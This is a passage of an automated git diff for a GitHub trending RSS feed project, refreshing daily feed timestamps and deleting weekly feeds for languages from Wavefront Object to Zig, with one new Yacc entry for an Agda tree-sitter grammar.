2023-09-25T01:43:17Z Daily Trending of Wavefront Object in GitHub \ No newline at end of file diff --git a/wavefront-object/weekly/index.xml b/wavefront-object/weekly/index.xml deleted file mode 100644 index 6b392709921..00000000000 --- a/wavefront-object/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Wavefront Object Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T02:03:43Z - Weekly Trending of Wavefront Object in GitHub - - \ No newline at end of file diff --git a/wdl/daily/index.xml b/wdl/daily/index.xml index e802fde64d5..303439ac455 100644 --- a/wdl/daily/index.xml +++ b/wdl/daily/index.xml @@ -1,7 +1,7 @@ GitHub WDL Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:44:32Z + 2023-09-25T01:43:24Z Daily Trending of WDL in GitHub \ No newline at end of file diff --git a/wdl/weekly/index.xml b/wdl/weekly/index.xml deleted file mode 100644 index 7920b5a9733..00000000000 --- a/wdl/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub WDL Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T02:03:47Z - Weekly Trending of WDL in GitHub - - \ No newline at end of file diff --git a/web-ontology-language/daily/index.xml b/web-ontology-language/daily/index.xml index 2b370a893a9..4469bef2827 100644 --- a/web-ontology-language/daily/index.xml +++ b/web-ontology-language/daily/index.xml @@ -1,7 +1,7 @@ GitHub Web Ontology Language Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:44:34Z + 2023-09-25T01:43:25Z Daily Trending of Web Ontology Language in GitHub \ No newline at end of file diff --git a/web-ontology-language/weekly/index.xml b/web-ontology-language/weekly/index.xml deleted file mode 100644 index a2eccdaa9ec..00000000000 --- a/web-ontology-language/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Web Ontology Language Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T02:03:49Z - Weekly Trending of Web Ontology Language in GitHub - - \ No newline at end of file diff --git a/webassembly/daily/index.xml b/webassembly/daily/index.xml index 6dba2918c0d..c3cbe3cd06f 100644 --- a/webassembly/daily/index.xml +++ b/webassembly/daily/index.xml @@ -1,7 +1,7 @@ GitHub WebAssembly Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:44:35Z + 2023-09-25T01:43:22Z Daily Trending of WebAssembly in GitHub \ No newline at end of file diff --git a/webassembly/weekly/index.xml b/webassembly/weekly/index.xml deleted file mode 100644 index 28560c12889..00000000000 --- a/webassembly/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub WebAssembly Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T02:03:50Z - Weekly Trending of WebAssembly in GitHub - - \ No newline at end of file diff --git a/webidl/daily/index.xml b/webidl/daily/index.xml index ba7ae4904f5..92628d6f785 100644 --- a/webidl/daily/index.xml +++ b/webidl/daily/index.xml @@ -1,7 +1,7 @@ GitHub WebIDL Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:44:39Z + 2023-09-25T01:43:29Z Daily Trending of WebIDL in GitHub \ No newline at end of file diff --git a/webidl/weekly/index.xml b/webidl/weekly/index.xml deleted file mode 100644 index 148c47fbf8d..00000000000 --- a/webidl/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub WebIDL Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T02:03:53Z - Weekly Trending of WebIDL in GitHub - - \ No newline at end of file diff --git a/webvtt/daily/index.xml b/webvtt/daily/index.xml index a8d7bbbcd6f..b762c4a4b52 100644 --- a/webvtt/daily/index.xml +++ b/webvtt/daily/index.xml @@ -1,7 +1,7 @@ GitHub WebVTT Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:44:37Z + 2023-09-25T01:43:26Z Daily Trending of WebVTT in GitHub \ No newline at end of file diff --git a/webvtt/weekly/index.xml b/webvtt/weekly/index.xml deleted file mode 100644 index bf31c2fdb05..00000000000 --- a/webvtt/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub WebVTT Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T02:03:51Z - Weekly Trending of WebVTT in GitHub - - \ No newline at end of file diff --git a/wget-config/daily/index.xml b/wget-config/daily/index.xml index c9c772622f3..090f0a06254 100644 --- a/wget-config/daily/index.xml +++ b/wget-config/daily/index.xml @@ -1,7 +1,7 @@ GitHub Wget Config Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:44:36Z + 2023-09-25T01:43:28Z Daily Trending of Wget Config in GitHub \ No newline at end of file diff --git a/wget-config/weekly/index.xml b/wget-config/weekly/index.xml deleted file mode 100644 index 89ef52ae92d..00000000000 --- a/wget-config/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Wget Config Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T02:03:52Z - Weekly Trending of Wget Config in GitHub - - \ No newline at end of file diff --git a/wikitext/daily/index.xml b/wikitext/daily/index.xml index 726e9dab7f9..9baa41e9166 100644 --- a/wikitext/daily/index.xml +++ b/wikitext/daily/index.xml @@ -1,7 +1,7 @@ GitHub Wikitext Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:44:42Z + 2023-09-25T01:43:31Z Daily Trending of Wikitext in GitHub \ No newline at end of file diff --git a/wikitext/weekly/index.xml b/wikitext/weekly/index.xml deleted file mode 100644 index 5049c5628ba..00000000000 --- a/wikitext/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Wikitext Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T02:03:55Z - Weekly Trending of Wikitext in GitHub - - \ No newline at end of file diff --git a/windows-registry-entries/daily/index.xml b/windows-registry-entries/daily/index.xml index bbebd378790..21d1b7a4540 100644 --- a/windows-registry-entries/daily/index.xml +++ b/windows-registry-entries/daily/index.xml @@ -1,7 +1,7 @@ GitHub Windows Registry Entries Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:44:43Z + 2023-09-25T01:43:32Z Daily Trending of Windows Registry Entries in GitHub \ No newline at end of file diff --git a/windows-registry-entries/weekly/index.xml b/windows-registry-entries/weekly/index.xml deleted file mode 100644 index f0ccdf6146c..00000000000 --- a/windows-registry-entries/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Windows Registry Entries Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T02:03:56Z - Weekly Trending of Windows Registry Entries in GitHub - - \ No newline at end of file diff --git a/wisp/daily/index.xml b/wisp/daily/index.xml index d4ef81092e7..15b0eebd56f 100644 --- a/wisp/daily/index.xml +++ b/wisp/daily/index.xml @@ -1,7 +1,7 @@ GitHub wisp Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:44:47Z + 2023-09-25T01:43:36Z Daily Trending of wisp in GitHub \ No newline at end of file diff --git a/wisp/weekly/index.xml b/wisp/weekly/index.xml deleted file mode 100644 index 87bf0a14706..00000000000 --- a/wisp/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub wisp Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T02:03:59Z - Weekly Trending of wisp in GitHub - - \ No newline at end of file diff --git a/witcher-script/daily/index.xml b/witcher-script/daily/index.xml index ba7c70810e0..9b349259626 100644 --- a/witcher-script/daily/index.xml +++ b/witcher-script/daily/index.xml @@ -1,7 +1,7 @@ GitHub Witcher Script Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:44:46Z + 2023-09-25T01:43:38Z Daily Trending of Witcher Script in GitHub \ No newline at end of file diff --git a/witcher-script/weekly/index.xml b/witcher-script/weekly/index.xml deleted file mode 100644 index 6e019caa5ae..00000000000 --- a/witcher-script/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Witcher Script Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T02:04:01Z - Weekly Trending of Witcher Script in GitHub - - \ No newline at end of file diff --git a/wollok/daily/index.xml b/wollok/daily/index.xml index 1534b37484d..acf0ac9dcf9 100644 --- a/wollok/daily/index.xml +++ b/wollok/daily/index.xml @@ -1,7 +1,7 @@ GitHub Wollok Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:44:44Z + 2023-09-25T01:43:37Z Daily Trending of Wollok in GitHub \ No newline at end of file diff --git a/wollok/weekly/index.xml b/wollok/weekly/index.xml deleted file mode 100644 index 8893b36917b..00000000000 --- a/wollok/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Wollok Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T02:03:58Z - Weekly Trending of Wollok in GitHub - - \ No newline at end of file diff --git a/world-of-warcraft-addon-data/daily/index.xml b/world-of-warcraft-addon-data/daily/index.xml index 791703a5651..acd4ad8ea39 100644 --- a/world-of-warcraft-addon-data/daily/index.xml +++ b/world-of-warcraft-addon-data/daily/index.xml @@ -1,7 +1,7 @@ GitHub World of Warcraft Addon Data Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:44:45Z + 2023-09-25T01:43:35Z Daily Trending of World of Warcraft Addon Data in GitHub \ No newline at end of file diff --git a/world-of-warcraft-addon-data/weekly/index.xml b/world-of-warcraft-addon-data/weekly/index.xml deleted file mode 100644 index c94950dc21c..00000000000 --- a/world-of-warcraft-addon-data/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub World of Warcraft Addon Data Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T02:04:00Z - Weekly Trending of World of Warcraft Addon Data in GitHub - - \ No newline at end of file diff --git a/x-bitmap/daily/index.xml b/x-bitmap/daily/index.xml index 820767a8775..1251388d928 100644 --- a/x-bitmap/daily/index.xml +++ b/x-bitmap/daily/index.xml @@ -1,7 +1,7 @@ GitHub X BitMap Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:44:49Z + 2023-09-25T01:43:39Z Daily Trending of X BitMap in GitHub \ No newline at end of file diff --git a/x-bitmap/weekly/index.xml b/x-bitmap/weekly/index.xml deleted file mode 100644 index e580feb08ff..00000000000 --- a/x-bitmap/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub X BitMap Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T02:04:04Z - Weekly Trending of X BitMap in GitHub - - \ No newline at end of file diff --git a/x-font-directory-index/daily/index.xml b/x-font-directory-index/daily/index.xml index 5787fd9b77a..b8a4eefe7b5 100644 --- a/x-font-directory-index/daily/index.xml +++ b/x-font-directory-index/daily/index.xml @@ -1,7 +1,7 @@ GitHub X Font Directory Index Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:44:48Z + 2023-09-25T01:43:41Z Daily Trending of X Font Directory Index in GitHub \ No newline at end of file diff --git a/x-font-directory-index/weekly/index.xml b/x-font-directory-index/weekly/index.xml deleted file mode 100644 index 20cee7c81d2..00000000000 --- a/x-font-directory-index/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub X Font Directory Index Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T02:04:02Z - Weekly Trending of X Font Directory Index in GitHub - - \ No newline at end of file diff --git a/x-pixmap/daily/index.xml b/x-pixmap/daily/index.xml index 95e438a7585..80bd84dd1da 100644 --- a/x-pixmap/daily/index.xml +++ b/x-pixmap/daily/index.xml @@ -1,7 +1,7 @@ GitHub X PixMap Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:44:50Z + 2023-09-25T01:43:40Z Daily Trending of X PixMap in GitHub \ No newline at end of file diff --git a/x-pixmap/weekly/index.xml b/x-pixmap/weekly/index.xml deleted file mode 100644 index 381db4ce6d2..00000000000 --- a/x-pixmap/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub X PixMap Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T02:04:04Z - Weekly Trending of X PixMap in GitHub - - \ No newline at end of file diff --git a/x10/daily/index.xml b/x10/daily/index.xml index 825c23ec4d1..cee52e8c570 100644 --- a/x10/daily/index.xml +++ b/x10/daily/index.xml @@ -1,7 +1,7 @@ GitHub X10 Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:44:54Z + 2023-09-25T01:43:44Z Daily Trending of X10 in GitHub \ No newline at end of file diff --git a/x10/weekly/index.xml b/x10/weekly/index.xml deleted file mode 100644 index 5f9fe3130ff..00000000000 --- a/x10/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub X10 Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T02:04:06Z - Weekly Trending of X10 in GitHub - - \ No newline at end of file diff --git a/xbase/daily/index.xml b/xbase/daily/index.xml index fd5810d9e08..e1b3a639501 100644 --- a/xbase/daily/index.xml +++ b/xbase/daily/index.xml @@ -1,7 +1,7 @@ GitHub xBase Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:44:52Z + 2023-09-25T01:43:44Z Daily Trending of xBase in GitHub \ No newline at end of file diff --git a/xbase/weekly/index.xml b/xbase/weekly/index.xml deleted file mode 100644 index 87f95bfc4b9..00000000000 --- a/xbase/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub xBase Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T02:04:08Z - Weekly Trending of xBase in GitHub - - \ No newline at end of file diff --git a/xc/daily/index.xml b/xc/daily/index.xml index ddb413499e8..1c73b20ef4d 100644 --- a/xc/daily/index.xml +++ b/xc/daily/index.xml @@ -1,7 +1,7 @@ GitHub XC Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:44:54Z + 2023-09-25T01:43:43Z Daily Trending of XC in GitHub \ No newline at end of file diff --git a/xc/weekly/index.xml b/xc/weekly/index.xml deleted file mode 100644 index d14848a570a..00000000000 --- a/xc/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub XC Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T02:04:06Z - Weekly Trending of XC in GitHub - - \ No newline at end of file diff --git a/xcompose/daily/index.xml b/xcompose/daily/index.xml index 2167d652f00..10b76e697b4 100644 --- a/xcompose/daily/index.xml +++ b/xcompose/daily/index.xml @@ -1,7 +1,7 @@ GitHub XCompose Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:44:53Z + 2023-09-25T01:43:45Z Daily Trending of XCompose in GitHub \ No newline at end of file diff --git a/xcompose/weekly/index.xml b/xcompose/weekly/index.xml deleted file mode 100644 index ea3ed1cfbae..00000000000 --- a/xcompose/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub XCompose Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T02:04:07Z - Weekly Trending of XCompose in GitHub - - \ No newline at end of file diff --git a/xml-property-list/daily/index.xml b/xml-property-list/daily/index.xml index cc67f5361f6..d4238612960 100644 --- a/xml-property-list/daily/index.xml +++ b/xml-property-list/daily/index.xml @@ -1,7 +1,7 @@ GitHub XML Property List Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:44:56Z + 2023-09-25T01:43:47Z Daily Trending of XML Property List in GitHub \ No newline at end of file diff --git a/xml-property-list/weekly/index.xml b/xml-property-list/weekly/index.xml deleted file mode 100644 index 93685be82ee..00000000000 --- a/xml-property-list/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub XML Property List Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T02:04:09Z - Weekly Trending of XML Property List in GitHub - - \ No newline at end of file diff --git a/xml/daily/index.xml b/xml/daily/index.xml index d16fd25bec3..11846df8a33 100644 --- a/xml/daily/index.xml +++ b/xml/daily/index.xml @@ -1,7 +1,7 @@ GitHub XML Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:44:58Z + 2023-09-25T01:43:48Z Daily Trending of XML in GitHub \ No newline at end of file diff --git a/xml/weekly/index.xml b/xml/weekly/index.xml deleted file mode 100644 index 1409aa62a10..00000000000 --- a/xml/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub XML Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T02:04:10Z - Weekly Trending of XML in GitHub - - \ No newline at end of file diff --git a/xojo/daily/index.xml b/xojo/daily/index.xml index bf005c90833..8ca19caa8cc 100644 --- a/xojo/daily/index.xml +++ b/xojo/daily/index.xml @@ -1,7 +1,7 @@ GitHub Xojo Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:44:56Z + 2023-09-25T01:43:49Z Daily Trending of Xojo in GitHub \ No newline at end of file diff --git a/xojo/weekly/index.xml b/xojo/weekly/index.xml deleted file mode 100644 index e144dc7066e..00000000000 --- a/xojo/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Xojo Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T02:04:12Z - Weekly Trending of Xojo in GitHub - - \ No newline at end of file diff --git a/xonsh/daily/index.xml b/xonsh/daily/index.xml index 416210946ec..6db98580c6e 100644 --- a/xonsh/daily/index.xml +++ b/xonsh/daily/index.xml @@ -1,7 +1,7 @@ GitHub Xonsh Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:44:57Z + 2023-09-25T01:43:46Z Daily Trending of Xonsh in GitHub \ No newline at end of file diff --git a/xonsh/weekly/index.xml b/xonsh/weekly/index.xml deleted file mode 100644 index a1a113a3f35..00000000000 --- a/xonsh/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Xonsh Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T02:04:11Z - Weekly Trending of Xonsh in GitHub - - \ No newline at end of file diff --git a/xpages/daily/index.xml b/xpages/daily/index.xml index feae702f206..350d3c8aa70 100644 --- a/xpages/daily/index.xml +++ b/xpages/daily/index.xml @@ -1,7 +1,7 @@ GitHub XPages Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:45:01Z + 2023-09-25T01:43:53Z Daily Trending of XPages in GitHub \ No newline at end of file diff --git a/xpages/weekly/index.xml b/xpages/weekly/index.xml deleted file mode 100644 index 4ae976fbddd..00000000000 --- a/xpages/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub XPages Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T02:04:15Z - Weekly Trending of XPages in GitHub - - \ No newline at end of file diff --git a/xproc/daily/index.xml b/xproc/daily/index.xml index 689300cf105..8efc1ec370d 100644 --- a/xproc/daily/index.xml +++ b/xproc/daily/index.xml @@ -1,7 +1,7 @@ GitHub XProc Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:45:02Z + 2023-09-25T01:43:51Z Daily Trending of XProc in GitHub \ No newline at end of file diff --git a/xproc/weekly/index.xml b/xproc/weekly/index.xml deleted file mode 100644 index e38e4af8560..00000000000 --- a/xproc/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub XProc Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T02:04:14Z - Weekly Trending of XProc in GitHub - - \ No newline at end of file diff --git a/xquery/daily/index.xml b/xquery/daily/index.xml index e190bd36152..c0063f7404b 100644 --- a/xquery/daily/index.xml +++ b/xquery/daily/index.xml @@ -1,7 +1,7 @@ GitHub XQuery Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:45:00Z + 2023-09-25T01:43:51Z Daily Trending of XQuery in GitHub \ No newline at end of file diff --git a/xquery/weekly/index.xml b/xquery/weekly/index.xml deleted file mode 100644 index 505fbe20a0d..00000000000 --- a/xquery/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub XQuery Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T02:04:13Z - Weekly Trending of XQuery in GitHub - - \ No newline at end of file diff --git a/xs/daily/index.xml b/xs/daily/index.xml index 94c26bdcd9d..544f70eee1b 100644 --- a/xs/daily/index.xml +++ b/xs/daily/index.xml @@ -1,7 +1,7 @@ GitHub XS Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:45:00Z + 2023-09-25T01:43:52Z Daily Trending of XS in GitHub \ No newline at end of file diff --git a/xs/weekly/index.xml b/xs/weekly/index.xml deleted file mode 100644 index d2f7812763d..00000000000 --- a/xs/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub XS Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T02:04:15Z - Weekly Trending of XS in GitHub - - \ No newline at end of file diff --git a/xslt/daily/index.xml b/xslt/daily/index.xml index cae6fdd702c..e4df7ad3426 100644 --- a/xslt/daily/index.xml +++ b/xslt/daily/index.xml @@ -1,7 +1,7 @@ GitHub XSLT Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:45:07Z + 2023-09-25T01:43:58Z Daily Trending of XSLT in GitHub \ No newline at end of file diff --git a/xslt/weekly/index.xml b/xslt/weekly/index.xml deleted file mode 100644 index d10b8a42a62..00000000000 --- a/xslt/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub XSLT Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T02:04:20Z - Weekly Trending of XSLT in GitHub - - \ No newline at end of file diff --git a/xtend/daily/index.xml b/xtend/daily/index.xml index 08e26cd6804..b0ff8cf83e9 100644 --- a/xtend/daily/index.xml +++ b/xtend/daily/index.xml @@ -1,7 +1,7 @@ GitHub Xtend Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:45:03Z + 2023-09-25T01:43:58Z Daily Trending of Xtend in GitHub \ No newline at end of file diff --git a/xtend/weekly/index.xml b/xtend/weekly/index.xml deleted file mode 100644 index 99ceecda635..00000000000 --- a/xtend/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Xtend Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T02:04:17Z - Weekly Trending of Xtend in GitHub - - \ No newline at end of file diff --git a/yacc/daily/index.xml b/yacc/daily/index.xml index 18540ed662d..598898a0b39 100644 --- a/yacc/daily/index.xml +++ b/yacc/daily/index.xml @@ -1,7 +1,14 @@ GitHub Yacc Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:45:07Z + 2023-09-25T01:43:57Z Daily Trending of Yacc in GitHub + + tree-sitter/tree-sitter-agda + 2023-09-25T01:43:57Z + tag:github.com,2023-09-25:/tree-sitter/tree-sitter-agda + + <p>Agda grammar for tree-sitter</p><hr> + \ No newline at end of file diff --git a/yacc/weekly/index.xml b/yacc/weekly/index.xml deleted file mode 100644 index 5b68458c955..00000000000 --- a/yacc/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Yacc Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T02:04:18Z - Weekly Trending of Yacc in GitHub - - \ No newline at end of file diff --git a/yaml/daily/index.xml b/yaml/daily/index.xml index c12b3ce784a..e3da610a1d7 100644 --- a/yaml/daily/index.xml +++ b/yaml/daily/index.xml @@ -1,7 +1,7 @@ GitHub YAML Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:45:06Z + 2023-09-25T01:43:56Z Daily Trending of YAML in GitHub \ No newline at end of file diff --git a/yaml/weekly/index.xml b/yaml/weekly/index.xml deleted file mode 100644 index 5e406fa2ffc..00000000000 --- a/yaml/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub YAML Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T02:04:17Z - Weekly Trending of YAML in GitHub - - \ No newline at end of file diff --git a/yang/daily/index.xml b/yang/daily/index.xml index 15c2a7af2c1..7aa39507fbe 100644 --- a/yang/daily/index.xml +++ b/yang/daily/index.xml @@ -1,7 +1,7 @@ GitHub YANG Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:45:11Z + 2023-09-25T01:44:03Z Daily Trending of YANG in GitHub \ No newline at end of file diff --git a/yang/weekly/index.xml b/yang/weekly/index.xml deleted file mode 100644 index 76b37d533ae..00000000000 --- a/yang/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub YANG Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T02:04:24Z - Weekly Trending of YANG in GitHub - - \ No newline at end of file diff --git a/yara/daily/index.xml b/yara/daily/index.xml index 89358182356..92d968d44b3 100644 --- a/yara/daily/index.xml +++ b/yara/daily/index.xml @@ -1,7 +1,7 @@ GitHub YARA Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:45:12Z + 2023-09-25T01:44:02Z Daily Trending of YARA in GitHub \ No newline at end of file diff --git a/yara/weekly/index.xml b/yara/weekly/index.xml deleted file mode 100644 index 790eba62e65..00000000000 --- a/yara/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub YARA Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T02:04:26Z - Weekly Trending of YARA in GitHub - - \ No newline at end of file diff --git a/yasnippet/daily/index.xml b/yasnippet/daily/index.xml index 1a0f27e5af3..1b8f8d2e1f1 100644 --- a/yasnippet/daily/index.xml +++ b/yasnippet/daily/index.xml @@ -1,7 +1,7 @@ GitHub YASnippet Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:45:09Z + 2023-09-25T01:44:01Z Daily Trending of YASnippet in GitHub \ No newline at end of file diff --git a/yasnippet/weekly/index.xml b/yasnippet/weekly/index.xml deleted file mode 100644 index 33c76c553b8..00000000000 --- a/yasnippet/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub YASnippet Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T02:04:25Z - Weekly Trending of YASnippet in GitHub - - \ No newline at end of file diff --git a/zap/daily/index.xml b/zap/daily/index.xml index 9f729ae5af5..19e3f0116aa 100644 --- a/zap/daily/index.xml +++ b/zap/daily/index.xml @@ -1,7 +1,7 @@ GitHub ZAP Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:45:15Z + 2023-09-25T01:44:05Z Daily Trending of ZAP in GitHub \ No newline at end of file diff --git a/zap/weekly/index.xml b/zap/weekly/index.xml deleted file mode 100644 index f838f5aeccf..00000000000 --- a/zap/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub ZAP Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T02:04:28Z - Weekly Trending of ZAP in GitHub - - \ No newline at end of file diff --git a/zeek/daily/index.xml b/zeek/daily/index.xml index 04528b311ea..01aa2e67bf8 100644 --- a/zeek/daily/index.xml +++ b/zeek/daily/index.xml @@ -1,7 +1,7 @@ GitHub Zeek Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:45:13Z + 2023-09-25T01:44:08Z Daily Trending of Zeek in GitHub \ No newline at end of file diff --git a/zeek/weekly/index.xml b/zeek/weekly/index.xml deleted file mode 100644 index 81915238406..00000000000 --- a/zeek/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Zeek Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T02:04:29Z - Weekly Trending of Zeek in GitHub - - \ No newline at end of file diff --git a/zenscript/daily/index.xml b/zenscript/daily/index.xml index 8913d5d9b85..f80a6789392 100644 --- a/zenscript/daily/index.xml +++ b/zenscript/daily/index.xml @@ -1,7 +1,7 @@ GitHub ZenScript Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:45:14Z + 2023-09-25T01:44:07Z Daily Trending of ZenScript in GitHub \ No newline at end of file diff --git a/zenscript/weekly/index.xml b/zenscript/weekly/index.xml deleted file mode 100644 index 40504b51845..00000000000 --- a/zenscript/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub ZenScript Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T02:04:30Z - Weekly Trending of ZenScript in GitHub - - \ No newline at end of file diff --git a/zephir/daily/index.xml b/zephir/daily/index.xml index 1f0229c285b..fc6d7cb84d0 100644 --- a/zephir/daily/index.xml +++ b/zephir/daily/index.xml @@ -1,7 +1,7 @@ GitHub Zephir Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:45:16Z + 2023-09-25T01:44:06Z Daily Trending of Zephir in GitHub \ No newline at end of file diff --git a/zephir/weekly/index.xml b/zephir/weekly/index.xml deleted file mode 100644 index 77d7d3c320c..00000000000 --- a/zephir/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Zephir Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T02:04:27Z - Weekly Trending of Zephir in GitHub - - \ No newline at end of file diff --git a/zig/daily/index.xml b/zig/daily/index.xml index e7d8ff9b26c..dbc339874ea 100644 --- a/zig/daily/index.xml +++ 